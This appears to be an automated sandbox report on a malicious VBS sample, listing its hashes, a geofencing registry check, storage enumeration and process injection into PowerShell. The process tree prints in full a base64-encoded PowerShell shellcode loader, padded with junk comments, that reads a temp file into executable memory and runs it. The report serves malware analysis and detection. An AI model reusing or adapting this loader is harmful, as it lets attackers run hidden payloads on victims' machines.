Analysis
-
max time kernel
9s -
max time network
12s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220113 -
submitted
31-01-2022 12:12
Static task
static1
Behavioral task
behavioral1
Sample
file8939928_89388.vbs
Resource
win7-en-20211208
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
file8939928_89388.vbs
Resource
win10v2004-en-20220113
windows10-2004_x64
0 signatures
0 seconds
General
-
Target
file8939928_89388.vbs
-
Size
162KB
-
MD5
b889242d05699b592a96112125919adf
-
SHA1
3d01fafa08dfdc3c3ad167f2a1c0cee1ac42f64a
-
SHA256
f492e41de8e486bc3ee6e597232d0b80332252a2ccc24e33604836d6b1e3235c
-
SHA512
0707c415f61e5cf581ad7b3dccddb8152ddde59b070a418817ce1201a2b48bfe5f19b192e1ec05d86c3bc55b21e663bd272a15830fb179ab1747fa9cafe20327
Score
7/10
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
WScript.exedescription pid process target process PID 1260 wrote to memory of 1236 1260 WScript.exe powershell.exe PID 1260 wrote to memory of 1236 1260 WScript.exe powershell.exe PID 1260 wrote to memory of 1236 1260 WScript.exe powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file8939928_89388.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBBAG4AZABlAGwAMQAgAFMAYwByAGkAbQBzAGgAYQAgAG0AYQBjAHIAbwAgAEMAZQBuAHQAZQByACAARABpAHMAcwBvAGMAaQAgAGYAcgBlAG0AcwBwAHIAIABUAGUAdAByACAAVAB1AHIAZQBzAGEAYwByADcAIABIAHkAcABvAHAAMQAgAFQAUgBBAE4AUwAgAHMAeQBtAG0AZQB0AHIAaQAgAFMAVABFAEcATgBJACAAQQBGAE0AQQBUACAAUABpAGMAYwAgAEgAZABiAGsAZgBlAHMANAAgAHMAYQBzAGkAYQAgAE0AYQBuAGkAcAB1AGwAIABJAG4AZAB1AHMAIABzAHUAYgBzACAARgB1AHQAdABvAGcAZQBzAHUAbgA4ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABCAEUAVgBBADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABCAEUAVgBBADYALAByAGUAZgAgAEkAbgB0ADMAMgAgAE8AVQBUAEgAWQBQAEUAUgAsAGkAbgB0ACAAVABlAHIAcgBpADUALAByAGUAZgAgAEkAbgB0ADMAMgAgAEIARQBWAEEALABpAG4AdAAgAFIAZQBmAGkAZwBlADcALABpAG4AdAAgAEIARQBWAEEANwApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUARgBpAGwAZQBBACgAcwB0AHIAaQBuAGcAIABUAEgAQQBMAEEATQBJAFUATQAsAHUAaQBuAHQAIABnAGUAbQBtACwAaQBuAHQAIABSAGUAdAB0AGkALABpAG4AdAAgAEIARQBWAEEAMAAsAGkAbgB0ACAARgBVAE0ATAAsAGkAbgB0ACAAZAByAGEAZwBzAGgALABpAG4AdAAgAGcAbwB1AHIAbQBlACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAFQAZQByAHIAaQA1ADAALAB1AGkAbgB0ACAAVABlAHIAcgBpADUAMQAsAEkAbgB0AFAAdAByACAAVABlAHIAcgBpADUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABlAHIAcgBpADUAMwAsAGkAbgB0ACAAVABlAHIAcgBpADUANAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAQQAoAEkAbgB0AFAAdAByACAAVABlAHIAcgBpADUANQAsAGkAbgB0ACAAVABlAHIAcgBpADUANgAsAGkAbgB0ACAAVABlAHIAcgBpADUANwAsAGkAbgB0ACAAVABlAHIAcgBpADUAOAAsAGkAbgB0ACAAVABlAHIAcgBpADUAOQApADsADQAKAH0ADQAKACIAQAANAAoAIwBzAHUAYgBjAG8AIABCAEUAQgBPACAAVQBOAFMAVABSACAAVQBuAGgAaQBlAHIAYQA5ACAAUABSAEUASABJAFMAIABFAE0AQQBOAFUARQBMACAARQBzAGMAaABhAGwAbwB0AHAAaQAyACAASwByAHkAZABzAGUAcgBzAHcAYQAyACAAQgBvAGMAawBlAHIAZQBsAHQAIABCAHIAYQBuAGQAIABpAG4AZAByAHkAawBrAGUAIABTAFUAUABFAFIAQwAgAFUATgBEAEUAUgBQAFIAIABLAGEAaAB5ADQAIABSAEEASQBMAEwASQBLAEUAQQBQACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAEsATwBMAEUAVQBOAEQARQBSACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAE8AdgBlAHIANQAiACAADQAKACQAQgBFAFYAQQAzAD0AMAA7AA0ACgAkAEIARQBWAEEAOQA9ADEAMAA0ADgANQA3ADYAOwANAAoAJABCAEUAVgBBADgAPQBbAEIARQBWAEEAMQBdADoAOgBOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKAAtADEALABbAHIAZQBmAF0AJABCAEUAVgBBADMALAAwACwAWwByAGUAZgBdACQAQgBFAFYAQQA5ACwAMQAyADIAOAA4ACwANgA0ACkADQAKACMAVwBoAGkAZwBnAGkAIABuAG8AbgBzAHUAYgBsAGkAIABBAGQAbQBpAHIAYQBiACAAUwB2AGEAbgBnAHIAZQBoADMAIABWAGEAYQBuADkAIABzAGEAdQB0AGUAcgAgAHAAcgBlAG0AYQBuACAASQBOAEMASABFAFMAIABhAGYAcgBlAGcAbgBpAG4AIABQAGEAbABsAGUAdAB0AGUAZQBuADEAIABlAHYAYQBsAHUAZQByACAARABhAHQAYQBlAGwAZQBtAGUAbgA5ACAAVQBnAHkAbABkAGkAZwBlACAAVQBwAHQAcgBpAGwAbAAgAGMAdQByAHUAcABhACAAQgBFAFIASQBCAEIAIABMAEkARABFACAARABlAG0AdQBsACAAVQBuAHAAcgBvAGgAIABEAEUAUABSAEEAVgBFACAAVQBuAHAAbAAgAHIAZQBuAGUAZwBvACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBWAG8AbAB1AG4AdABhADcAIgAgAA0ACgAkAEIARQBWAEEAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwASQBuAGQAZABhAHQANwAuAGQAYQB0ACIADQAKACMAaQBuAGMAbwBtAHAAbABpAGEAbgAgAEYAUgBFAEUAVwBBAFIARQBNAEEAIABEAGUAcwB1AGwAcABoAHUAcgAgAGMAcgBvAHMAcwBsACAAYgBvAHAAYQBlAGwAYgBoAG0AYQAgAEQAbwBtAGkAbgBpAG8AbgBtACAAUwB1AHoAeQBjACAAVQBuAGQAZQAyACAAawB2AGsAZQByAGgAbwAgAEYAbwByAG0AIABvAGwAZAB0AGkAZAAgAFIAZQB0AGEAbABsAGkAMwAgAA0ACgAkAEIARQBWAEEANAA9AFsAQgBFAFYAQQAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAQgBFAFYAQQAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAEQAdwBhAHIAZgAgAEsAYQB0AHQAZQB0AHUAbgBnAGUANgAgAFMAbwBsAGQAaQBlAHIAIABTAGkAcgBwAGwAMQAgAGIAaQBsAGwAZQBkAG0AIABOAG8AbgBhAGIAIABBAEsAVABGAFIAVQBTAFQAUgBBACAAUwBuAGsAbgAgAGgAZQBwAGEAdABvAGQAeQBzACAARgBhAGQAZQBiAHUAcgA1ACAARABBAE0AUABNAEEAUwAgAFMAZABpAGcAaAAgAHEAdQBhAGQAcgAgAE8AUABSAEUAIABsAGkAbgBrACAATABBAFUAUgBFAEwAIABzAHAAcgBpAHQAcwBtAHUAIABCAG8AcgB0ACAAQgBvAG4AdQBzAHMAIABTAGsAZQBsAGUAdABzAGsAZQAgAFQATwBSAEUAQQBEACAAQwBIAEkATQBBAEUAUgAgAGYAbwByAG0AZQByAGkAIABVAEIARQBTAFIARwBFAFQATwBFACAAUgBPAFMASQBOAEcASwAgAGEAcwBzAHUAbQBlAGQAaQBuACAAUwB0AHIAYQBuADYAIABUAGUAbABlAGYANwAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAUwB1AGIAcwB0AHIAdQBjAHQANQAiACAADQAKACQAQgBFAFYAQQA1AD0AMAA7AA0ACgAjAFMAbwBnAGQAaQAgAGsAZQBqAHMAZQByAGwAaQBnACAAQQBjAGMAbABpAG0AYQB0AGkAMgAgAFAAQQBDAEkARgBJACAATQBhAGoAcwBhAHAAYQBsAGEAIABHAEwAQQBDAEkAIABFAGYAdABlAHIAYQBhAHIAcwBiADIAIABTAG0AcgBlACAASQBsAGwAdQBzAHQAcgBhAHQAaQAgAFMAdQBiAHQAcgBhADYAIABTAGEAZwB0AG4AZQBuAGQANAAgAE0AaQBsAGoAYgBlAHMAawB5ACAAQwBhAHMAcwBlAHIAbwBsAGUAcwAgAGQAcgBvAHAAcABlAHIAcwAgAGIAYQBzAHUAbgBpAHMAdAAgAEQAbwB0AGEAcgBkAGwAeQBnAHIAMwAgAHUAbgBkAGUAcgBzAGwAIABTAHAAaQBsAGQAZQB2AGEAbgAgAHMAcABhAG4AZQAgAE0AdQBjAG8AcAByACAAYwBoAGUAbQBvAGEAdQB0AG8AIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEgAYQBtAHIAZQBuADMAIgAgAA0ACgBbAEIARQBWAEEAMQBdADoAOgBSAGUAYQBkAEYAaQBsAGUAKAAkAEIARQBWAEEANAAsACQAQgBFAFYAQQAzACwANgAwADgAMAA2ACwAWwByAGUAZgBdACQAQgBFAFYAQQA1ACwAMAApAA0ACgAjAFQAaQBtAGUAcwBoAGEAcgBlAHMANgAgAGgAYQBuAGQAZQBsAHMAZgB5ACAAUwBjAG8AdABjADYAIABPAHAAcwB0AGEAbgBkAHIAIABnAHIAdQBzAHYAcgBrAGUAIABtAGUAbgBzAHUAIABmAG8AcgBzAHQAdABlAHIAIABTAHQAZQBtAHAANAAgAG0AaQBkAGQAZQBsAGgAagBkACAAdABlAGcAbgB0AGEAZQB0AGgAIABoAGEAcgBkAHcAaQByACAAUwBqAG8AdgBlAHIAcwBuAGUAbwAgAGEAZABtAGEAbgBlAHUAawAgAHQAagBhAHQAdAAgAGcAcgBhAHYAcwB0AG4AIABTAFUAQgBEAEkAQQAgAEMAbwBkAGkAZgB5AGkAbgBnADcAIABBAG4AbABnAHMAYQByAGIAIABUAEgATwBSAEEATABOAFUAIABKAGEAcwB0AGUAbQBtACAAQgBhAGwAbABhAGQAZQBtAGEANAAgAFUAbQBiAG8AbgB1ACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBOAFkATgBVAE4ARABFAFIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAQwBIAEEAUABUAEEATABJAFMARQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBzAGsAYQB0AHQAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAUwBoAGEAcgBlAGgAbwBsACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFYAQQBOAEQARgBPAFIAUwBZACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEIAYQByAG4AZQBzAGQAZQByAG4AIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAdAByAGgAdgBlAHAAcwBlACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAGcAdQBsAHMAbwB0AGUAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAcgBlAG4AdAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBjAHUAdABpAGMAbABlAHcAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASQBuAGYAbwByAG0AYQB0AGkAbwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBOAE8ATgBDAE8AIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASQBOAFMAVABJACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFIAdQBtAG0AZQBsAGkAZwBzADUAIgAgAA0ACgBbAEIARQBWAEEAMQBdADoAOgBDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAQQAoACQAQgBFAFYAQQAzACwAIAAwACwAMAAsADAALAAwACkADQAKAA0ACgA="2⤵